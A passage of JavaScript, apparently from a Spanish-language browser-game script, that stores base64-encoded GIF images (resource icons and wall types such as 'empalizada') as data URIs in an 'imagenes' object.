A7m0LDsEA7ygA7W0AxV8ARwoHJw1AYisLHnNAXYiAw0IAzi6FJACXFYl5FOIAZj4wef0A2G8AVaILYymQfX2gh15g4CYSVpCw+Um6XroQ5ORwRx4EovSAYfYgRQUAV5Ui+lt4yu/kBy8ZcJZ1AFePAJzeALycBt+WQNhlAEOACWkdkIqWAN64AorPGtCQESxruz33AW8oIMoUEWI4M1jSEO2JAC/CULuSAMxMBoFJcNhTIP6ZBHN0W+fkizqVpnkFsVqwG/CeEO5MAN3BA5tcEYQtsYCZIOX9Ib+IAJHvADIdWyTKAN9jAe4mBXtUEb6vCnhvCHOFAEY+IFvjDBgdEX0pEQ5MENWyOr4nBTRnxTBsIOsPpmGoMJfkACX4ANe+RtN6XEDrsohsCEaeAFY+IH3OBXgTEY8IvB3FC8DmsbN+Vt5TBqCvwlwHEx4fBm82AvXMM14VDH3+AYyeAQX/AFh6AI/sygYxRcHX/hwyrhDgpRxgrcKGd8INsRq+kQx7H6JbD6DexwxJjMHemRJ8ngC7PQDNvzRIQ8E5Gbth9BuZVbx20LKT3LNfOwyJe7wPMgI3dcx7exHuLwDdhgDdiQDduAyMFCHYz0vmOcyDLSKIsiD1WcxlV8yQ0bDrucDJUjyVVcG43SKCDRU4N8FWL8vqaswdyADT57ubHKNQ27zLFKx5FMx1yDxN+wFVrhDv2xzdw8HTlLExd8yuHss7UcDrCqxOVczoTasMZrIfaCD2jbF6L8HzKBz4GatmQsI4VyyZW8xK4MHBUCHPaA0fgSuaEjzNUxExUMIKchz4gcMzGRdhL5gE98gQ8BkhKnodDUkSINPRgPzRcVTBAUjBDE7NAKzRIzPdOCwRIxzdM6PdIxcdM/3dNB3dSE7Bc04Rc1DdVRDdQL7dQpMsxUvdVc3dVY/dVYQsz33NVLDdRgfdY6ndRV3dVQvdRojdZazdZiHCxWTc+pERAAOw==';\n\timagenes[\"r2\"] = 'data:image/gif;base64,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';\n\timagenes[\"r3\"] = 'data:image/gif;base64,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';\n\t// Imagenes de los tipos de murallas\n\timagenes[\"empalizada\"] = 'data:image/gif;base64,R0lGODdhSwBkAOf/ABYJAREMFBIRBCIMBxYQKiIaDS0YACQdAhk3AEAkBSEtODsnEzoqBjQuBCotJiwzHkcsAEIwADgwH0EvMS1HDEY+EyNSCFU4FVA8DktCAU48GVY8BEBFEmU3BFNBBWM7AkxGLyhhAkhMQF9ENj9bFEVPUGxLAFdPKGJRAGpKEUpTOHNJDGRTDSxyBH1HEDhsBmNUGVpTOWlPJkJiLlRbJ35OBWVXJTxuG3lWCG9cBnRWGWVbNGNkIDh/CGNiRkh9FndnDkp7KH9mD2BpWFp0LodjEmBqaYJmKV11QV9qeo5pAZhjCHtrLVN+OnZmXXxqOXJjeoNmPopuAXdtRYVzA0aSCYxoMHtrUoRyGnJzV1SMJW51ZZt6D518AIqCF7ZwAJR/DqN1G5N+IJp7H1KhGFCoAmWSQK51HF+bM6x9A4l/WJeIAnWKV2+QSoKDZZCFOZqBOX2FdJaCSKeGBlOzC4KApZGMT3+LipGFe6l/X2GxHIGTcqyLKqOPMLePDpmRZpOSc7OUFV+/FomWgcWQBJGThK2aHIqdbIeiXnavSMCbAaWOl4KqYbqhALqcO7SbW5GqdJimhqWhhJ+khaulYJimkLenQ7yjVqSkk9SkEcWtFM6qFLCofs2rMcWyOMquSKq0h567hqCyseOxBaqusd22Caq3lqi2oaCy0Leylda+DJXNbbS0o9e+Wa/Mo8fBoLXGubjIqODFTLnHsL7Io8fIi6/G2rHJxrzFxcbEsLfVjs7Hm7jSnsXHvsfQn6jawMTXyc7YstnVrc3Zwc3butjVwMXb2d3Wtc/X2dXYzsHd6sXa+dnmxtzkzNfnzcvl+d3k09Dj/drtudDq7+npu9Ts59Xp9c/s9+vl0eroxd3vx+DuztLt//HpweTs2PbqtvTqvObq5+vsz+fr4fb0lOH02tb0//7n4+bv+uDy+/